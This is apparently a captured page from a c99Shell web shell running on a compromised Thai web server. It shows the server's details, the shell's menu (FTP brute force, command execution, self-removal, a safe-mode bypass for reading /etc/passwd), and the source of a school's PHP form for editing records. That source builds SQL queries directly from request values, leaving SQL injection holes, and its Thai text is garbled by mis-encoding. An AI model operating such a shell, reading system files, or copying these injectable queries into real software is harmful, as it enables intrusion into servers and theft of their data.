110.164.51.230 - phpshell

!c99Shell v. 1.0 pre-release build #16!
Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 EDT 2010 i686 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage_22222/teacher_aj_viratt/Book_Acc/ drwxr-xr-x Free 52.41 GB of 127.8 GB (41.01%) Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

<?php

include("../../include/FunctionDB.php");

include("../../include/Function.php");

include("header.php");

ConnectDB();

  $sql ="SELECT * FROM  bookmant_tb  Where  code='$code'";

  $result = mysql_query($sql) or die("Cannot Select").mysql_error();

  $rs = mysql_fetch_array($result);

?>

<script language="JavaScript" type="text/JavaScript">

<!--

  function browse()

{

form1.Imag1.src = form1.Img1.value;

}

<!--

 function MM_openBrWindow(theURL,winName,features) { //v2.0

  window.open(theURL,winName,features);

}

//-->

function chk(c){

if (c.checked){

document.all.Prob1.disabled=false;

document.all.Prob2.disabled=false;

document.all.Prob3.disabled=false;

document.all.Prob4.disabled=false;

}

else{

document.all.Problem.disabled=false;

}

}

</script>



<html>

<head>

<title>Edit accessories</title>

<meta http-equiv="Content-Type" content="text/html; charset=windows-874">

<link href="../../css/style1.css" rel="stylesheet" type="text/css">

</head>



<body bgcolor="#FFFFFF">

<table width="100%" border="0" align="center" cellpadding="0" cellspacing="1" style="border:1px solid gray">

  <tr bgcolor="#CCCCFF" > 

    <td height="25" colspan="3"> <div align="center"><font color="#000000" size="4" face="Tahoma"><strong><font color="#FF0000">бЎйдў</font> 

        ўйНБЩЕ</strong></font></div></td>

  </tr>

  <form name="form1" method="POST" action="EditMan.php"

    enctype="multipart/form-data">

    <tr bordercolor="#99CCFF">

      <td width="26%" bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">ЗС№·ХиГСє</font></div></td>

      <td width="2%" bgcolor="#EEEEEE"><div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>

      <td width="72%" bgcolor="#EEEEEE"><font color="#000000" size="2" face="Tahoma">ЗС№·Хи

            <select name="mDate" id="select4" class="select" >

              <?php

           $Date_buy = $rs[Date_buy];

           $yearthai = explode("-",$Date_buy);

           $mDate =   intval($yearthai[2]);

           $mMonth =  intval($yearthai[1]);

           $mYear =   intval($yearthai[0]);

            for($i=0;$i<=31;$i++)

             {  

            if( $i == 0)

               echo"\n\t<option value=\"$mDate\" selected>$mDate</option>\n ";

             else

               echo"\n\t<option value=\"$i\">$i</option>\n ";

              }

                 //    getDay1to31();

           ?>

        </select>

    аґЧН№

    <select name="mMonth" id="select5" class="select" >

      <?php

          $Date_buy = $rs[Date_buy];

           $yearthai = explode("-",$Date_buy);

           $mDate=   intval($yearthai[2]);

           $Month =  intval($yearthai[1]);

           $mYear2=   intval($yearthai[0]);     

           $mMonth = $Month;

          $CMonth = TxtThaiMonth($Month);

           for($i=-1;$i<=11;$i++)

              {

             $a = $i+1;

                if( $a == 0)

                  echo"\n\t<option value=\"$mMonth\" selected>$CMonth</option>\n ";

             else

                  echo"\n\t<option value=\"$a\">$ThaiMonth[$i]</option>\n ";

              }

                 // getThaiMonth();

          ?>

    </select>

    »Х ѕ.И.

    <input name="mYear" type="text" id="mYear" size="4" class="input1" value="<? echo $mYear?>" >

      </font></td>

    </tr>

    <tr bgcolor="#EEEEEE">

      <td height="20" bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">аЕў·ХиЛ№С§КЧНГСє</font></div></td>

      <td><div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>

      <td><font color="#006633" size="2" face="Tahoma">

        <input name="No_in" type="text" id="No_in" value="<? echo $rs[No_in]?>" size="20">

      </font></td>

    </tr>

    <tr bgcolor="#EEEEEE">

      <td height="22" bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">ЗС№·ХиННЎ</font></div></td>

      <td>&nbsp;</td>

      <td><font color="#000000" size="2" face="Tahoma">ЗС№·Хи

            <select name="mDate1" id="mDate1" class="select" >

              <?php

           $Date_year = $rs[Date_year];

           $yearthai = explode("-",$Date_year);

           $mDate =   intval($yearthai[2]);

           $mMonth =  intval($yearthai[1]);

           $mYear =   intval($yearthai[0]);

            for($i=0;$i<=31;$i++)

             {  

            if( $i == 0)

               echo"\n\t<option value=\"$mDate\" selected>$mDate</option>\n ";

             else

               echo"\n\t<option value=\"$i\">$i</option>\n ";

              }

                 //    getDay1to31();

           ?>

            </select>

    аґЧН№

    <select name="mMonth1" id="mMonth1" class="select" >

      <?php

          $Date_year = $rs[Date_year];

           $yearthai = explode("-",$Date_year);

           $mDate=   intval($yearthai[2]);

           $Month =  intval($yearthai[1]);

           $mYear =   intval($yearthai[0]);     

           $mMonth = $Month;

          $CMonth = TxtThaiMonth($Month);

           for($i=-1;$i<=11;$i++)

              {

             $a = $i+1;

                if( $a == 0)

                  echo"\n\t<option value=\"$mMonth\" selected>$CMonth</option>\n ";

             else

                  echo"\n\t<option value=\"$a\">$ThaiMonth[$i]</option>\n ";

              }

            //  CloseDB();

                 // getThaiMonth();

          ?>

    </select>

    »Х ѕ.И.

    <input name="mYear1" type="text" class="input" id="mYear1" value="<? echo $mYear ?>" size="4">

      </font></td>

    </tr>

    <tr bgcolor="#FFFFFF">

      <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">№СЎИЦЎЙТјЩйбЁй§«иНБ</font></div></td>

      <td bgcolor="#EEEEEE"><div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>

      <td bgcolor="#EEEEEE"><strong><font color="#003366" size="2" face="Tahoma">

        </font><font color="#006633" size="2" face="Tahoma">

        <input name="No_out" type="text" id="No_out" value="<? echo $rs[No_in]?>" size="20">

      </font><font color="#003366" size="2" face="Tahoma">        </font></strong></td>

    </tr>

    <tr bgcolor="#FFFFFF">

      <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">аГЧиН§</font></div></td>

      <td bgcolor="#EEEEEE"><div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>

      <td bgcolor="#EEEEEE"><strong><font color="#003366" size="2" face="Tahoma"> </font><font color="#006633" size="2" face="Tahoma">

        <input name="Status" type="text" id="Status" value="<? echo $rs[Status]?>" size="65">

      </font><font color="#003366" size="2" face="Tahoma"> </font></strong></td>

    </tr>

    <tr bgcolor="#EEEEEE">

      <td height="22" bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">ЄЧиНјЩйГСє - Ки§Л№С§КЧН</font></div></td>

      <td><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></td>

      <td bgcolor="#EEEEEE"><strong><font color="#003366" size="2" face="Tahoma">

        <select name="Teacher_code" id="Teacher_code" class="input1">

          <?php

          $Teacher_code = $rs[Teacher_code];

           $strSQL2 = "SELECT * FROM personal_tb  Where   Teacher_code='$Teacher_code' ";

           $result2 = mysql_query($strSQL2);

             $strSQL3 = "SELECT * FROM  personal_tb   Where   Permision='2'   Order by Teacher_name";

                 $result3 = mysql_query($strSQL3);

                 while( $rs2 = mysql_fetch_array($result2))     

                     {

                 echo"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";

                  while( $rs3 = mysql_fetch_array($result3))     

                         {

                       echo"<option value=\"$rs3[Teacher_code]\" ><b>$rs3[Teacher_name]&nbsp;$rs3[Teacher_lastname]</b></option>\n";

                  }

                     }        

                     CloseDB();

            ?>

        </select>

</font></strong></td>

    </tr>

    <tr bgcolor="#EEEEEE">

      <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma"><font size="2">Є№ФґНШ»ЎГім</font> </font></div></td>

      <td><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></td>

      <td><font size="2" face="Tahoma">

        <input type="radio" name="Statistic" <?php if (!(strcmp("$rs[Statistic]","АТВ№НЎ"))){echo "checked";} ?> value="АТВ№НЎ">

        АТВ№НЎ

        <input type="radio" name="Statistic" <?php if (!(strcmp("$rs[Statistic]","АТВг№"))){echo "checked";} ?> value="АТВг№">

    АТВг№

    <strong><font color="#003366" size="2" face="Tahoma">

    </font></strong>    </font></td>

    </tr>

    <tr bgcolor="#EEEEEE">

      <td height="22" bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">ЁТЎЛ№иЗВ§Т№</font></div></td>

      <td><div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>

      <td bgcolor="#EEEEEE"><input name="Store_1" type="text" class="input" id="Store_1" value="<? echo $rs[Store_1]?>" size="50">

      </td>

    </tr>

    <tr bgcolor="#eeeeee">

      <td><div align="center"><font size="2" face="Tahoma">¶Ц§Л№иЗВ§Т№</font></div></td>

      <td>&nbsp;</td>

      <td><input name="Store_2" type="text" class="input" id="Store_2" value="<? echo $rs[Store_2]?>" size="50"></td>

    </tr>

    <tr bordercolor="#99CCFF">

      <td bgcolor="#EEEEEE"><div align="center"><font color="#003366" size="2" face="Tahoma">вЛЕґаНЎКТГ </font></div></td>

      <td bgcolor="#EEEEEE">&nbsp;</td>

      <td bgcolor="#EEEEEE"><table width="100%" border="0" cellspacing="0" cellpadding="0">

          <tr>

            <td width="73%"><div align="center">

                <font color="#996600" size="2" face="Tahoma"></font>

                <input name= "Img1"  type="file"  class="input"  id="Img1"  onChange=browse()> 

            </div></td>

            <td width="27%"><div align="center"></div></td>

          </tr>

      </table></td>

    </tr>

    <tr bgcolor="#CCCCFF" > 

      <td height="25" colspan="3"> <div align="center"> 

          <input name="code" type="hidden" id="code" value="<? echo $rs[code]?>">

          <input type="submit" name="Submit" value=" єС№·ЦЎ " class="button">

          &nbsp;</div></td>

    </tr>

  </form>

</table>

</body>

</html>
:: Shadow's tricks :D ::
Useful Commands Warning. Kernel may be alerted using higher levels	Kernel Info:
:: Preddy's tricks :D ::
Php Safe-Mode Bypass (Read Files) File: eg: /etc/passwd	Php Safe-Mode Bypass (List Directories): Dir: eg: /etc/
:: Command execute ::
Enter:	Select: